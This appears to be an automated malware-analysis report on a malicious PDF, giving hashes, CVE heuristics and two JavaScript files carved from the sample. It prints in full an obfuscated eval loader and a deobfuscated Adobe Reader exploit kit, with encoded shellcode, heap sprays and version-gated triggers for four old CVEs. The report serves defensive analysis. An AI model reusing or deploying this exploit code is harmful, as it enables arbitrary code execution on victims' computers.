Malicious PDF — malware analysis report

Static analysis result for SHA-256 dda55ac863addb89…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-09
MD5: 9b8e3022f6a7094d568a49475d0dea20 SHA-1: 2ad2d4d83b402502f425fd389cbc6912bc5a5429 SHA-256: dda55ac863addb89642ac42a27f099863c9e4a8c0c424e859245eb86457d1f64
408 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious Link: Malicious File

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The JavaScript is likely designed to execute malicious code or download a second-stage payload. The SHA256 hash is included as a primary identifier for this suspicious file.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB071 437 bytes
SHA-256: c853a4e716b28f1e41ecbecc9ff65b8a2dcf407b8d3465f55d2f6b9b863d2c71
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
cqv='';
coemk=('qwrwqr','tit');
e('popt=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
xdjv=e('String.fro'+popt.substr(0,9));
qac = e(popt.substr(9)['replace'](/u/g,','));
e('k=qac.length');
for (i = 0; i < k; i+=2) {
	bio = qac[i+1] + ('erybjkerl',qac[i]);
	cqv += xdjv(bio);
}
e(cqv);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3666 bytes
SHA-256: 20c25e200355ea9350ea11551213da35a9c0ff67919e0b98d2a26540bad1c2c7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u40b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u1c34%ue2aa%uc3fa%ue5e8%uffff%uf5ff%u1d10%u1c1c%u9d42%u40f0%u1c1d%u951c%u91fb%u0c53%u7391%u2d48%u4bc7%u4f4d%u4f4f%u4f4f%u4f4f%u4f49%u744f%u1d18%u1c1c%u4a49%u744f%u7273%u1c1c%u6974%u706e%u4871%u9274%u1252%uf4f0%u1c54%u1c1c%uf44c%u1c60%u1c1c%ucce3%ud89f%u7414%uf353%u1953%uf44c%u1c70%u1c1c%ucce3%udc99%u0b69%u4876%uef45%u74b6%ue26e%u0aaf%u01f4%u1c1c%u4c1c%u4df4%u1c1c%ue31c%u4fcc%ue276%u9574%u1d73%uf4a1%u1c14%u1c1c%uf44c%u1c20%u1c1c%ucce3%u2d7c%u78dc%u4c97%u972c%u104e%u4e97%u9708%u346e%u04a5%u1c1c%u2d1c%u2de3%ub0dc%u7d20%u1e60%u3c30%ud3dd%u1d11%ufedb%u9dec%u47e3%u56a0%u9776%u0c5e%u0e97%uc569%u5895%u0038%udf7d%u977c%u3870%u9738%u2059%u4897%u6419%uf61d%u5697%u9704%u3c46%uf71d%u28ff%u9755%u9728%uf21d%ue32d%udc2d%ub0e0%udc98%u1b68%ud3dd%u1d11%uf7db%u27e8%u3860%u6934%u97fd%u3846%uf71d%u977a%u5710%u4697%u1d00%u97f7%u9718%uf41d%u5895%u0038%ude7d%u1c14%uf3f4%ue3e2%u74e3%u6868%u266c%u3333%u7f73%u7974%u7f72%u7373%u7570%u7b6f%u7373%u3278%u737f%u3371%u3278%u746c%u236c%u217a%u2a2d%u793a%u2921%u001c';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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